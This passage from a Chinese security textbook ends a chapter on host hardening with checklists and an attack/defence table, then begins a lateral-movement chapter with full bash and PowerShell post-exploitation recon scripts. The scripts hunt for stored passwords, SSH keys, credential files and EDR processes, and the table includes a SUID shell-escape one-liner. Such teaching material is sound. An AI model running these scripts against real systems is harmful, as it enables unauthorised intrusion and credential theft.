    ③ 有干净的重装流程 → 能恢复

  确认被 Rootkit 感染后,【唯一可靠的处理是重装系统】,
  "清理"的信心成本远大于重装。


【认知四】容器安全的根源问题是"共享内核"

  特权容器、docker.sock、危险 capability、hostPath、内核漏洞——
  所有逃逸姿势最终都指向一件事:容器和宿主机共享内核。

  ★ 所以:
    - 配置加固(PSA restricted、drop ALL、只读根)能挡住 90% 的姿势
    - 内核补丁是根本(挡住剩下 10% 里的内核漏洞类)
    - 强隔离(gVisor / Kata)只在"跑不可信代码"时才必须上

  别为了"更安全"给所有业务上 Kata——
  性能损耗和运维复杂度会让你后悔。


【认知五】主机安全不是"防住",是"缩短被攻陷到被发现的时间"

  这是最现实的一条。
  不管你做多少加固,专业攻击者总能进来(0day、钓鱼、供应链)。

  ★ 所以投入的重心应该是:
    预防(30%)+ 检测(40%)+ 响应(20%)+ 恢复(10%)

  而不是把 90% 的预算花在"让自己觉得安全"的合规文档上。
  最能降低损失的指标不是"有没有被攻破",而是:
    - MTTD(平均检测时间):多久发现
    - MTTR(平均响应时间):多久处置完

6.8.2 攻防速查卡

场景 攻击方做什么 防御方做什么
Linux 提权 sudo -l → SUID → Capabilities → docker 组 → cron → 内核漏洞 最小 sudoers、审计 SUID/Cap、nosuid 挂载、及时打补丁
SUID 滥用 find . -exec /bin/sh -p \; -quit 定期基线对比、chmod u-s、改用 Capabilities、nosuid
Sudo 滥用 GTFOBins、通配符注入、LD_PRELOAD、令牌复用 env_reset、timestamp_timeout=0、写死参数、禁危险程序
Cron 滥用 写可写脚本 / 通配符 + tar 参数注入 脚本属主 root + 644、绝对路径、cron 目录审计
LD_PRELOAD _init() + /etc/ld.so.preload 全局劫持 env_reset、chattr +i、静态工具交叉验证、AIDE
内核漏洞 脏牛 / PwnKit / Dirty Pipe 及时打补丁(唯一根本解)、最小化内核攻击面
持久化 账户 / 服务 / 定时 / 库 / 替换命令 / 内核态 九项一键检测、日志外发、AIDE、定期重建
Rootkit 用户态替换命令 / LKM hook / eBPF 交叉验证、dpkg -V、chkrootkit、Volatility、重装
Windows 提权 服务 DACL / AlwaysInstallElevated / DLL 劫持 / Potato 服务目录不可写、关 AlwaysInstallElevated、EDR、不给本地管理员
凭据窃取 dump LSASS / SAM / NTDS.dit LAPS、关 WDigest、RunAsPPL、Credential Guard、Sysmon 10
Windows 持久化 注册表 Run / 服务 / 计划任务 / WMI / GPO Autoruns、WMI 三对象检查、GPO 变更审计、清理 cpassword
容器逃逸 privileged / docker.sock / CAP_SYS_ADMIN / hostPath / 内核 drop ALL、PSA restricted、只读根、非 root、禁 hostPath
K8s 横向 SA Token → RBAC 探测 → 建特权 Pod → 逃逸 automountServiceAccountToken=false、最小 RBAC、PSA、Falco

6.8.3 上线前必查清单(五份)

① Linux 服务器上线上线前检查清单

【账户与认证】
  □ SSH:PermitRootLogin no / PasswordAuthentication no / AllowUsers 白名单
  □ AuthorizedKeysFile 集中管理(不能用用户目录)
  □ 密码策略已配置(pwquality + login.defs + pam_faillock)
  □ 无用账号已清理、无空密码账号
  □ umask 027

【权限】
  □ /etc/shadow 600、/etc/sudoers 440
  □ 无全局可写的关键文件
  □ SUID/SGID/Capability 已建立基线
  □ /tmp /dev/shm /var/tmp 挂载 nosuid,noexec,nodev
  □ 关键文件 chattr +i(passwd/shadow/sudoers)

【内核与系统】
  □ sysctl 加固参数已应用(并评估过业务影响)
  □ SELinux/AppArmor = enforcing
  □ 已打最新安全补丁(内核优先)
  □ 关闭不需要的服务和端口

【审计与日志】
  □ auditd 规则已配置且运行中
  □ 日志实时外发到日志平台
  □ chrony 时间同步
  □ 命令审计(PROMPT_COMMAND 外发)
  □ logrotate 配置且安全日志保留 ≥ 6 个月

【检测】
  □ AIDE 已初始化,数据库保存在远程/只读位置
  □ HIDS/EDR agent 已部署
  □ 告警已接入(SUID 变更、新账号、异常登录等)

【备份】
  □ 备份已配置且验证过可恢复
  □ 备份与生产隔离(防勒索)

② Windows 服务器上线上线前检查清单

【账户】
  □ LAPS 已部署(本地管理员密码随机化)
  □ Guest 已禁用、无用账号已清理
  □ 密码策略 ≥12 位 + 复杂度 + 锁定策略
  □ 域管不能登录普通服务器

【凭据保护】
  □ UseLogonCredential = 0(关 WDigest)
  □ RunAsPPL = 1(LSA Protection)
  □ 条件允许已开 Credential Guard
  □ SYSVOL 里无 cpassword(已扫描确认)

【权限】
  □ 业务服务不用 LocalSystem / Domain Admin
  □ 服务目录、程序目录不可被普通用户写
  □ 服务 DACL 未对 Everyone/Users 开放修改
  □ 检查了 AlwaysInstallElevated(应为 0)

【系统】
  □ 已打最新补丁
  □ SMBv1 已禁用、SMB 签名已启用
  □ LmCompatibilityLevel = 5
  □ 关闭不需要的服务(Remote Registry / Spooler 等)
  □ UAC = 始终通知

【日志与监控】
  □ 安全日志 ≥1GB,不自动覆盖
  □ 进程创建 + 命令行审计已开启(4688 + IncludeCmdLine)
  □ Sysmon 已安装(含 LSASS 访问规则)
  □ PowerShell 脚本块日志(4104)+ 转录已开启
  □ 日志实时外发到 SIEM
  □ EDR 已部署

【应用控制】
  □ AppLocker / WDAC 已配置(至少禁 Temp/Downloads 执行)
  □ ASR 规则已启用

③ 容器镜像上线前检查清单

【Dockerfile】
  □ 多阶段构建(构建工具不进运行镜像)
  □ 基础镜像最小化(distroless / alpine / scratch)
  □ USER 非 root(uid ≥ 10000)
  □ 不用 latest tag
  □ 无密钥硬编码(无 ENV PASSWORD、无 COPY .env)
  □ 有 .dockerignore(排除 .git / .env / 测试文件)
  □ HEALTHCHECK 已配置
  □ CMD/ENTRYPOINT 用 exec 形式(应用是 PID 1)

【扫描】
  □ 漏洞扫描通过(Trivy/Grype,CRITICAL = 0)
  □ Dockerfile lint 通过(hadolint)
  □ 镜像已签名(cosign)

【运行时配置】
  □ runAsNonRoot: true
  □ readOnlyRootFilesystem: true
  □ allowPrivilegeEscalation: false
  □ capabilities: drop ALL
  □ seccompProfile: RuntimeDefault
  □ resource limits 已设置
  □ automountServiceAccountToken: false(除非需要)
  □ 无 privileged / hostPath / hostPID / hostNetwork
  □ liveness / readiness / startup probe 已配置

④ K8s 集群上线前检查清单

【API Server】
  □ --anonymous-auth=false
  □ --authorization-mode=Node,RBAC
  □ 审计日志已启用并外发
  □ 不暴露到公网

【RBAC】
  □ 无过度授权的 ClusterRoleBinding(尤其 cluster-admin 给了 default SA)
  □ 定期审查 escalate / bind / impersonate 权限
  □ 业务 SA 不给 create pods/exec、跨 ns list secrets

【Pod 安全】
  □ 业务 namespace 已打 PSA restricted 标签
  □ Kyverno / Gatekeeper 策略已 Enforce
  □ 无特权容器、无 docker.sock 挂载、无危险 hostPath

【节点】
  □ kubelet --anonymous-auth=false
  □ kubelet 授权模式 = Webhook
  □ 10255 只读端口已关闭
  □ 10250 不对业务网段开放
  □ 节点已打内核补丁

【etcd】
  □ 只用 TLS + 客户端证书
  □ 只监听内网
  □ 静态加密或 KMS 已启用
  □ 备份已配置且验证过可恢复

【网络】
  □ NetworkPolicy 默认拒绝
  □ 微分段已配置

【检测】
  □ Falco / Tracee 已部署
  □ K8s 审计日志接入 SIEM
  □ 关键告警已配置

⑤ 应急响应工具箱(离线 ISO 必备)

【静态工具(不受 rootkit 影响)】
  □ busybox-static(ps/ls/netstat/cat/top)
  □ 静态版 lsof、strace、gdb

【内存取证】
  □ LiME(Linux 内存镜像)
  □ DumpIt / winpmem(Windows 内存镜像)
  □ Volatility 3(离线分析)

【磁盘取证】
  □ dd / dcfldd(磁盘镜像)
  □ sleuthkit / autopsy(文件系统分析)
  □ photorec / foremost(文件恢复)

【Rootkit 检测】
  □ chkrootkit
  □ rkhunter

【完整性校验】
  □ AIDE 及其数据库
  □ 系统包校验:dpkg -V / rpm -Va

【网络分析】
  □ tcpdump(静态版)
  □ nmap(内网扫描)

【Windows 专用】
  □ Sysinternals Suite(Autoruns、Procmon、PsExec、accesschk)
  □ Sysmon + SwiftOnSecurity 配置
  □ KAPE(Kroll Artifact Parser,自动化取证采集)

★ 关键原则:
  所有这些工具放在【只读介质】(U 盘 / 光盘 / 网络只读共享),
  应急响应时从只读介质运行,
  因为被攻陷机器上的命令都可能是"被劫持的版本"。

6.8.4 一句话记忆法

【第六章五句话版本】

① 提权:
   "Linux 提权靠【配错】(SUID/sudo/cap/cron),
    Windows 提权靠【令牌】(Potato 系列借 SYSTEM 的身份)。"

② 持久化:
   "六层:账户 → 服务 → 定时 → 库 → 换命令 → 内核态。
    防不住,只能靠【检测 + 重装】。"

③ Rootkit:
   "确认中招 = 重装。
    检测靠【交叉验证】(静态工具、/proc/modules、内存取证)。"

④ 容器:
   "共享内核是原罪。
    逃出去五条路:特权、socket、capability、hostPath、内核漏洞。
    防住靠:drop ALL + 非 root + 只读根 + restricted + Falco。"

⑤ 体系:
   "一定会被攻破,所以重心在【检测】而不是【预防】。
    MTTD 和 MTTR 比'有没有被打进来'更能决定损失。"

6.8.5 本章与其他章节的关系

第六章(主机与操作系统)在整条攻击链里的位置:

  侦察 → 初始访问 → 【★ 主机:落地、提权、持久化】 → 内网横向 → 达成目标
                            ↑ 本章

往下接续:
  → 第七章「内网横向移动与域渗透」
     从"一台机器的 root"走向"整个域的控制"
     (凭据传递、Kerberos 攻击、黄金票据、DCSync、GPO 滥用)

  → 第八章「数字取证与应急响应 DFIR」
     被攻陷之后怎么查、怎么取证、怎么恢复
     (本章 6.3.7 的"痕迹清除"和 6.8.3 的"工具箱"是第八章的前置)

往上的依赖:
  ← 第五章「实时通信与 IoT」
     很多 IoT 设备就是一台 Linux 主机,
     拿到设备 shell 后走的提权路径和本章一样

  ← 第四章「移动端」
     Android 本质也是 Linux,但有自己的权限模型(沙箱 + SELinux + 权限)

贯穿全书的主题:
  【权限最小化】——
     第四章的移动端权限、第五章的 MQTT ACL、
     本章的 capabilities/SELinux/RBAC,
     本质是同一件事:只给必需的,不给多余的。

  【检测优于预防】——
     本章的 auditd/HIDS/Falco、
     后面章节的 SIEM/ATT&CK 覆盖,
     本质也是同一件事:承认会被攻破,把重心放在"多久发现"。

第七章:内网横向移动与域渗透(从一台机器到整个域)

本章定位:第六章讲的是“怎么在一台机器上从普通用户变成 root/SYSTEM”。 第七章往前走一步:拿到一台机器之后,怎么走到整个域。

完整的攻击链:
  侦察 → 初始访问(钓鱼/Web/弱口令)
  → 主机(提权、持久化)        ← 第六章
  → 【★ 内网横向移动】           ← 本章
  → 域控 → 整个域沦陷
  → 达成目标(勒索 / 窃密 / 破坏)

为什么必须学这一章?

因为【真实的重大安全事件,损失几乎都不是来自那一台初陷机器】。
  2017 WannaCry    :从一台办公机 → 横向 → 全球 30 万台
  2020 SolarWinds  :供应链进入 → 横向 → 美国多个政府部门
  2021 Colonial    :一个 VPN 密码 → 横向 → 美国东岸输油管道停摆
  各类勒索软件      :从一台 → 横向 → 域控 → 全公司文件被加密

★ 关键数字:
  从一台普通办公机到域控,熟练的攻击者平均只需要 【4~6 小时】。
  而企业的平均检测时间(MTTD)是 【几天到几个月】。
  这个时间差,就是内网攻防的全部故事。

本文档名词速查(第七章涉及)

名词 白话解释 出处
横向移动(Lateral Movement) 从一台机器走到另一台机器(像在楼里串门) 7.1.2
域(Domain) 一堆 Windows 电脑加入同一个“公司账号体系”,统一管账号和权限 7.1.1
域控(DC, Domain Controller) 域里的“总账房”,存着所有账号和密码哈希,Kerberos 的服务器 7.2.2
Active Directory(AD) 微软的目录服务,域的底层数据库(存用户/机器/组/策略) 7.2.2
Kerberos 域里的认证协议,靠“票据(Ticket)“证明身份,不用传密码 7.3.2
NTLM 老一代的认证协议,靠“挑战-响应”,安全性弱于 Kerberos 7.3.1
TGT Kerberos 的“门票”:证明你是谁,用来换后面的服务票 7.3.2
TGS / ST 服务票据:凭它可以访问某个具体服务(如文件共享) 7.3.2
SPN 服务主体名:网络上某个服务的“门牌号”(如 HTTP/web01) 7.5.1
krbtgt Kerberos 的内置账号,它的密码哈希能造出任意票据(黄金票据) 7.5.3
PTH(哈希传递) 不需要知道密码,直接用密码的哈希去登录别的机器 7.4.1
PTT(票据传递) 不需要密码,直接注入一张 Kerberos 票据来冒充身份 7.4.2
Kerberoasting 要一张服务票据,拿回本地暴力破解,可能解出服务账号的明文密码 7.5.1
AS-REP Roasting 对“不需要预认证”的账号要票据,离线破解 7.5.2
黄金票据 / 白银票据 伪造的 TGT / 伪造的服务票据(拿到 krbtgt 或服务账号哈希后) 7.5.3 / 7.5.4
委派(Delegation) 服务可以“代表用户”去访问别的资源(配置错就很危险) 7.5.5
DCSync 伪装成域控,用合法的域复制协议“要”到所有账号的哈希 7.5.6
BloodHound 把域里的关系画成图,自动找出“从 A 到域控的最短路径” 7.2.4
GPO 组策略:域里统一下发的配置(能下发脚本 = 全域执行) 7.8.2
ACL / DACL 对象上的权限清单(含“谁有权改这个用户的属性”) 7.8.1
AdminSDHolder 域里的“受保护组模板”,改它能让后门账号自动获得域管权限 7.8.1
SID History 用户的一个属性,可以塞别人的 SID 进去 = 冒充别人的权限 7.8.3
隧道 / 端口转发 在内网里开一条“暗道”,让外网的你能访问内网机器 7.7.1
SOCKS 代理 一种通用代理协议,能让任意流量走这个通道 7.7.2

7.1 先讲清楚:内网为什么是“最软的柿子”

7.1.1 内网安全的三个错误假设

几乎所有内网沦陷事件,背后都是这三个错误假设中的至少一个。

错误假设一:“内网是安全的,因为外面进不来”

这个假设的逻辑是:
  我们有防火墙 → 外网进不来 → 所以内网可以不设防

★ 现实:
  防火墙挡的是"从外面直接连进来",
  但攻击者的入口从来不是"直接连进来",而是【从里面发起】:

  ① 员工点开钓鱼邮件 → 内网机器中招 → 从内网发起
  ② 员工电脑插了陌生 U 盘 → 同上
  ③ 供应商/VPN 账号泄露 → 从"合法入口"进来
  ④ 员工笔记本带回家感染,带回公司 → 绕过一切边界
  ⑤ 供应链攻击(软件更新被污染)→ 从内部应用发起

  ★ 核心认知:
    【边界一旦被绕过一次,内网就是一片坦途】
    而"被绕过一次"几乎是必然事件,不是小概率事件。

  生活类比:
    你在小区门口装了最牛的门禁,
    但每户的房门都不锁,
    而且物业给每个快递员都发了一张通行卡。
    门禁再牛也没用。

错误假设二:“我们的内网很复杂,攻击者进来了也找不到路”

真实情况恰恰相反:内网的复杂度【帮助】了攻击者。

原因:
  ① 内网机器之间的信任关系极其混乱
     十年前的某次"临时开个共享",到现在还开着
     某个服务账号被加进了 Domain Admins,没人记得为什么

  ② 没人知道"正常流量"长什么样
     内网没有基线,攻击者的扫描流量混在里面完全看不出来

  ③ 权限只加不减
     员工转岗了,老权限没清
     项目结束了,临时账号没删
     → 域里的权限关系早就变成了一团乱麻,
       而【乱麻里一定有通往域控的捷径】

  ★ BloodHound 这个工具的存在就是为了证明这一点:
    它能在几分钟内,自动从"一团乱麻"里找出
    "从这台机器到域控的最短路径"。
    而且它几乎总能找到。

错误假设三:“我们有杀毒软件,能挡住”

杀毒软件/EDR 确实有用,但在内网横向阶段效果有限:

  ① 攻击者大量使用【系统自带工具】(Living off the Land)
     wmic、schtasks、powershell、net、sc、reg、certutil、rundll32
     → 这些都是白名单程序,杀软不会报

  ② 很多横向移动用的是【合法协议】
     SMB 文件共享、WMI 远程管理、RDP 远程桌面
     → 这些是正常运维流量,特征和行为上难以区分

  ③ 攻击者会先关掉/绕过 EDR
     已经拿到管理员权限了,卸掉杀软是常规操作

  ★ 但这不是说 EDR 没用:
     EDR 的价值在于【行为检测】——
     正常的运维不会"凌晨 3 点从财务部机器向 20 台机器发起 SMB 连接"。
     好的 EDR + SIEM 能抓住这些异常行为。
     只是不能指望它挡住"第一击"。

7.1.2 横向移动的本质

一句话定义:横向移动就是“以已有的一台机器为跳板,去控制更多的机器”。

生活类比(重点,讲透):

把公司内网想象成一栋写字楼:

  ① 你伪装成快递员混进了大楼(初始访问)
  ② 你在前台签到本上翻到了几个员工的名字(信息收集)
  ③ 你在某个工位上捡到了一张没带走的工牌(凭据窃取)
  ④ 你拿着这张工牌进了另一个部门(横向移动)
  ⑤ 那个部门的某个人是经理,他的工牌能开更多门(权限提升)
  ⑥ 你一路刷到了顶楼的管理层办公室(域控)
  ⑦ 顶楼有一个能开所有门的万能卡发放机(krbtgt)
  ⑧ 你现在能去任何地方(全域控制)

★ 注意几个关键点:
  - 你【从头到尾没有破过一扇门】——你用的是"合法的卡"
  - 你被监控拍到了,但"刷卡进门"是正常行为,保安不会看第二眼
  - 你用的卡是别人的,所以日志上记的是别人的名字(溯源困难)

横向移动的三种“燃料”:

① 【凭据】(最常用,70%+ 的横向靠这个)
   明文密码、NTLM Hash、Kerberos 票据、SSH 私钥、Token
   → 拿到凭据 = 直接以那个人的身份去别的机器

② 【漏洞】
   EternalBlue(MS17-010)、SMBGhost、Zerologon、PrintNightmare
   → 不需要凭据,直接打穿

③ 【配置错误 / 信任关系】
   共享目录所有人可写、服务用域管账号跑、
   某台机器被配了非约束委派、域信任关系配置不当
   → 利用"系统设计上的便利"

横向移动的典型路径(记住这张图):

办公机(普通域用户)
   ↓ ① 收集:本机凭据、浏览器保存的密码、共享目录
   ↓ ② 扫描:内网哪些机器活着、开了什么端口
   ↓ ③ 枚举:域里有哪些用户、哪些机器、哪些组
   ↓ ④ 攻击:PTH / 打漏洞 / 猜弱口令
   ↓
文件服务器 / 应用服务器(可能是本地管理员)
   ↓ ⑤ 提权(Potato / 内核漏洞)
   ↓ ⑥ dump 内存 → 拿到更多凭据(可能有域管登录过!)
   ↓
运维机 / 跳板机(运维用域管账号登录过)
   ↓ ⑦ dump 域管凭据 / 票据
   ↓
域控
   ↓ ⑧ DCSync → 所有账号哈希 → 黄金票据
   ↓
整个域

7.1.3 内网攻防的三个阶段(防守方视角)

【阶段一:建立 visibility(看得见)】

  没有 visibility 就没有一切。要先能回答:
    - 我们内网有多少台机器?分别是什么?谁负责?
    - 机器之间正常的通信关系是什么样的?
    - 谁在什么时候从哪台机器登录了哪台机器?

  落地:
    - 资产清单(CMDB)
    - 网络流量采集(全流量或关键区域)
    - 集中日志(Windows 安全日志、Sysmon、EDR)
    - 网络基线(正常的通信关系图)

【阶段二:提高攻击成本(让他难走)】

  不是为了"绝对防住",是为了让攻击者的每一步都更困难、
  更容易留下痕迹:

    - 凭据保护:LAPS、Credential Guard、禁域管登普通机器
    - 网络分段:办公网/生产网/管理网隔离,关键服务器微分段
    - 权限清理:去掉不该有的 Domain Admins、清理 ACL 后门
    - 协议加固:禁 NTLMv1、开 SMB 签名、关不必要的服务
    - 应用白名单:AppLocker / WDAC

【阶段三:检测与响应(抓住他)】

  承认会被攻破,重点是缩短"被攻陷到被发现"的时间:

    - 检测规则(本章 7.7.4、7.11 会给具体规则)
      ★ 最有效的几条:
        - 同一账号在短时间内登录多台机器
        - 非跳板机发起的 SMB/WMI 连接
        - 异常的 4624 登录类型(Type 3 网络登录来自办公机)
        - 敏感组的成员变更(4728/4732/4756)
        - Kerberos 票据异常(RC4 加密、异常的服务票据请求)
        - PsExec 特征(服务名以 PSEXESVC 开头)
        - BloodHound 特征(短时间内大量 LDAP 查询)
    - 蜜罐/蜜标(★ 性价比极高,见 7.9.4)
      - 假的域管账号(没人该用它,一用就是攻击)
      - 假的文件服务器(没人该访问,一访问就是扫描)
    - 应急预案与演练

一个必须记住的数字: 微软的安全报告显示,从“初始入侵”到“域控沦陷”, 熟练攻击者的中位时间是 不到 48 小时; 而从“初始入侵”到“被发现”,企业的中位时间是 超过 100 天。

内网攻防的本质,就是把这两个数字拉近。


7.2 内网信息收集

核心原则:信息收集决定成败。 90% 的攻防差距不是技术问题,是“你有没有收集到那条关键信息”。

真实案例:
  某次内网渗透,卡了两天找不到突破口,
  最后在文件服务器上找到一个三年前的 Excel:
  "服务器账号密码.xlsx"
  里面是域管的密码,而且没改过。

  ★ 结论:永远不要跳过信息收集,尤其是"翻文件"这种笨办法。

7.2.1 本机信息收集(拿到 shell 之后的第一件事)

Linux 本机信息收集

#!/bin/bash
# linux_local_recon.sh —— 本机 + 内网信息快速收集
# 输出保存到文件,避免满屏刷

OUT=/tmp/recon_$(hostname)_$(date +%s).txt
exec > >(tee -a "$OUT") 2>&1

echo "=============== ① 本机基础信息 ==============="
echo "[*] 当前身份"
id; whoami; hostname; uname -a
cat /etc/os-release 2>/dev/null | head -5

echo ""
echo "[*] 我在哪些组(★ 看有没有 docker / sudo / adm)"
groups

echo ""
echo "[*] 系统运行时间与登录用户(★ 看有没有别人在线)"
uptime
w
last -10 2>/dev/null

echo ""
echo "=============== ② 网络信息 ==============="
echo "[*] IP 与网卡(★ 判断有几个网段 = 有几张网卡就可能通几个网)"
ip addr 2>/dev/null || ifconfig -a
# ★ 双网卡机器是"跳板"的绝佳候选:一个网卡连办公网,一个连生产网

echo ""
echo "[*] 路由表(★ 看能到达哪些网段)"
ip route 2>/dev/null || route -n

echo ""
echo "[*] ARP 缓存(★ 已经通信过的机器,不用扫描就知道有哪些邻居)"
ip neigh 2>/dev/null || arp -a

echo ""
echo "[*] 监听端口(★ 看本机跑了什么服务)"
ss -tulnp 2>/dev/null || netstat -tulnp

echo ""
echo "[*] 已建立的连接(★ 看本机在跟谁通信)"
ss -tanp 2>/dev/null | grep ESTAB

echo ""
echo "[*] DNS 配置(★ 域名后缀能告诉你域环境信息)"
cat /etc/resolv.conf
cat /etc/hosts
# ★ /etc/hosts 里往往有内网服务器的 IP 和名字,是免费的资产清单

echo ""
echo "[*] hosts 里的内网资产(整理出来)"
grep -vE "^#|^$|localhost|::1" /etc/hosts

echo ""
echo "=============== ③ 用户与凭据 ==============="
echo "[*] 可登录用户"
grep -vE "nologin|false" /etc/passwd

echo ""
echo "[*] 当前用户的历史命令(★ 经常能找到内网机器 IP、密码)"
cat ~/.bash_history 2>/dev/null | head -80
# ★ 特别是 scp、ssh、mysql -h、curl 之类的命令

echo ""
echo "[*] SSH 相关(★ 私钥和 known_hosts 是宝藏)"
ls -la ~/.ssh/ 2>/dev/null
cat ~/.ssh/known_hosts 2>/dev/null | head -40   # ★ 列出连过的机器
cat ~/.ssh/config 2>/dev/null                    # ★ 可能有主机别名和账号
# ★ 如果有私钥,检查有没有密码保护
#   ssh-keygen -y -f ~/.ssh/id_rsa   能输出公钥说明没密码

echo ""
echo "[*] 其他用户的 SSH 配置(如果权限够)"
for u in $(ls /home 2>/dev/null); do
    echo "--- /home/$u ---"
    ls -la /home/$u/.ssh/ 2>/dev/null
    head -30 /home/$u/.bash_history 2>/dev/null
done

echo ""
echo "=============== ④ 配置文件里的凭据 ==============="
echo "[*] 常见配置文件搜索(★ 慢但价值高)"
find /etc /opt /srv /var/www /home -maxdepth 4 -type f \
    \( -name "*.conf" -o -name "*.config" -o -name "*.yml" \
       -o -name "*.yaml" -o -name "*.xml" -o -name "*.properties" \
       -o -name "*.ini" -o -name "*.env" \) 2>/dev/null | head -100

echo ""
echo "[*] 在这些文件里搜密码关键字"
for f in $(find /etc /opt /var/www -maxdepth 4 -type f \
           \( -name "*.conf" -o -name "*.yml" -o -name "*.properties" \
              -o -name "*.env" -o -name "*.ini" \) 2>/dev/null); do
    hits=$(grep -iE "password\s*[=:]|passwd\s*[=:]|pwd\s*[=:]|secret\s*[=:]|token\s*[=:]" "$f" 2>/dev/null | head -3)
    if [ -n "$hits" ]; then
        echo "--- $f ---"
        echo "$hits"
    fi
done

echo ""
echo "[*] 数据库客户端历史(★ mysql/psql 的命令行历史)"
cat ~/.mysql_history 2>/dev/null | head -20
cat ~/.psql_history 2>/dev/null | head -20

echo ""
echo "[*] 环境变量里的凭据"
env | grep -iE "pass|token|key|secret"

echo ""
echo "=============== ⑤ 域/AD 相关(Linux 加入域的情况)==============="
echo "[*] 是否加入域"
cat /etc/krb5.conf 2>/dev/null        # ★ Kerberos 配置,能看到域名
realm list 2>/dev/null
cat /etc/sssd/sssd.conf 2>/dev/null   # ★ 可能有域账号信息
cat /etc/samba/smb.conf 2>/dev/null
net ads info 2>/dev/null

echo ""
echo "=============== ⑥ 进程与计划任务 ==============="
echo "[*] 进程列表(看有没有杀软/监控 agent)"
ps aux | head -50

echo ""
echo "[*] 计划任务"
crontab -l 2>/dev/null
ls -la /etc/cron.d/ 2>/dev/null

echo ""
echo "=============== ⑦ 挂载的共享 ==============="
echo "[*] NFS / CIFS 挂载"
mount | grep -E "nfs|cifs|smb"
cat /etc/fstab | grep -E "nfs|cifs|smb"
showmount -e localhost 2>/dev/null

echo ""
echo "[+] 收集完成,结果保存在: $OUT"

Windows 本机信息收集

<#
.SYNOPSIS  Windows 本机 + 域信息收集脚本
#>

$out = "$env:TEMP\recon_$env:COMPUTERNAME.txt"

Write-Host "=============== ① 系统信息 ===============" -ForegroundColor Cyan
systeminfo | Select-String "OS Name|OS Version|System Type|Domain|Logon Server|Hotfix"

Write-Host "`n[*] 当前用户与权限" -ForegroundColor Cyan
whoami
whoami /priv          # ★ 看有没有 SeDebugPrivilege / SeImpersonatePrivilege
whoami /groups        # ★ 看在哪些组(有没有 Domain Admins、Enterprise Admins)
whoami /user          # ★ SID,看 RID 是不是 500

Write-Host "`n=============== ② 网络信息 ===============" -ForegroundColor Cyan
ipconfig /all
# ★ 重点看:
#   - DNS 后缀(= 域名,如 corp.local)
#   - DNS 服务器(= 通常就是域控)
#   - 有几个网卡

Write-Host "`n[*] 路由表" -ForegroundColor Cyan
route print

Write-Host "`n[*] ARP 缓存(★ 免费的内网邻居清单)" -ForegroundColor Cyan
arp -a

Write-Host "`n[*] 网络连接" -ForegroundColor Cyan
netstat -ano | Select-String "ESTABLISHED|LISTENING"

Write-Host "`n[*] hosts 文件(★ 内网资产清单)" -ForegroundColor Cyan
Get-Content C:\Windows\System32\drivers\etc\hosts | Where-Object { $_ -notmatch '^\s*#|^\s*$' }

Write-Host "`n[*] DNS 缓存(★ 访问过的域名)" -ForegroundColor Cyan
ipconfig /displaydns | Select-String "Record Name" | Sort-Object -Unique

Write-Host "`n=============== ③ 域信息 ===============" -ForegroundColor Cyan
Write-Host "[*] 域与域控"
$domain = (Get-WmiObject Win32_ComputerSystem).Domain
Write-Host "    域名: $domain"
Write-Host "    是否加入域: $((Get-WmiObject Win32_ComputerSystem).PartOfDomain)"

try {
    $dc = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers
    Write-Host "`n[*] 域控列表:"
    $dc | ForEach-Object { Write-Host "    $($_.Name)  ($($_.IPAddress))" }
} catch {
    # 备用方法
    nltest /dclist:$domain
}

Write-Host "`n[*] 当前登录服务器(LOGONSERVER)"
$env:LOGONSERVER

Write-Host "`n=============== ④ 用户与组 ===============" -ForegroundColor Cyan
Write-Host "[*] 本地用户"
net users
Get-LocalUser | Select-Object Name, Enabled, LastLogon, SID

Write-Host "`n[*] 本地管理员组成员(★ 看有没有域账号被加进来)"
net localgroup administrators
Get-LocalGroupMember Administrators

Write-Host "`n[*] 域用户(如果能查)"
net user /domain 2>$null
net group "Domain Admins" /domain 2>$null      # ★ 最想知道的
net group "Enterprise Admins" /domain 2>$null
net group "Domain Computers" /domain 2>$null

Write-Host "`n[*] 当前登录的会话(★ 看有没有高权限的人在这台机器上)"
query user
qwinsta
# ★ 如果看到域管在这台机器上有会话 → 直接偷令牌或 dump 内存

Write-Host "`n=============== ⑤ 共享 ===============" -ForegroundColor Cyan
Write-Host "[*] 本机共享"
net share
Get-SmbShare

Write-Host "`n[*] 其他机器的共享(★ 需要能访问)"
# net view \\<IP> /all

Write-Host "`n=============== ⑥ 进程与安全软件 ===============" -ForegroundColor Cyan
Write-Host "[*] 进程列表"
Get-Process | Select-Object Id, ProcessName, Path | Format-Table -AutoSize

Write-Host "`n[*] 已安装的杀软/EDR(★ 知道敌人是谁)"
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct |
    Select-Object displayName, pathToSignedProductExe
# 常见 EDR 进程:
#   MsMpEng.exe        (Defender)
#   CSFalconService.exe / CSFalconContainer.exe  (CrowdStrike)
#   SentinelAgent.exe / SentinelUI.exe           (SentinelOne)
#   cb.exe / RepMgr.exe                          (Carbon Black)
#   cylancesvc.exe                               (Cylance)
Get-Process | Where-Object {
    $_.ProcessName -match 'MpEng|Falcon|Sentinel|cb|Cy|csfalcon|sysmon|osquery|wazuh'
} | Select-Object Id, ProcessName

Write-Host "`n=============== ⑦ 凭据文件搜索 ===============" -ForegroundColor Cyan
Write-Host "[*] 搜索可能的凭据文件"
$patterns = @("*.xlsx","*.xls","*.docx","*.pdf","*.txt","*.xml","*.config",
              "*.key","*.ppk","*.rdp","*.kdbx","*.psafe3")
$keywords = @("密码","password","passwd","pwd","账号","secret","token","credential","密钥")

foreach ($p in $patterns) {
    Get-ChildItem -Path C:\Users -Recurse -Include $p -ErrorAction SilentlyContinue -Force |
        Where-Object {
            $n = $_.Name.ToLower()
            ($keywords | Where-Object { $n -like "*$_*" })
        } |
        Select-Object FullName, Length, LastWriteTime -First 40 |
        Format-Table -AutoSize
}

Write-Host "`n[*] 无人值守安装文件"
Get-ChildItem -Path C:\,C:\Windows\Panther,C:\Windows\System32\sysprep -Recurse `
    -Include "unattend.xml","sysprep.xml" -EA SilentlyContinue |
    Select-Object FullName

Write-Host "`n[*] 浏览器保存的密码位置(需要 DPAPI 解密)"
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -EA SilentlyContinue
Get-ChildItem "$env:APPDATA\Mozilla\Firefox\Profiles" -EA SilentlyContinue

Write-Host "`n=============== ⑧ 已保存的网络凭据 ===============" -ForegroundColor Cyan
cmdkey /list

Write-Host "`n[+] 收集完成: $out"

7.2.2 域内信息收集(AD 枚举)

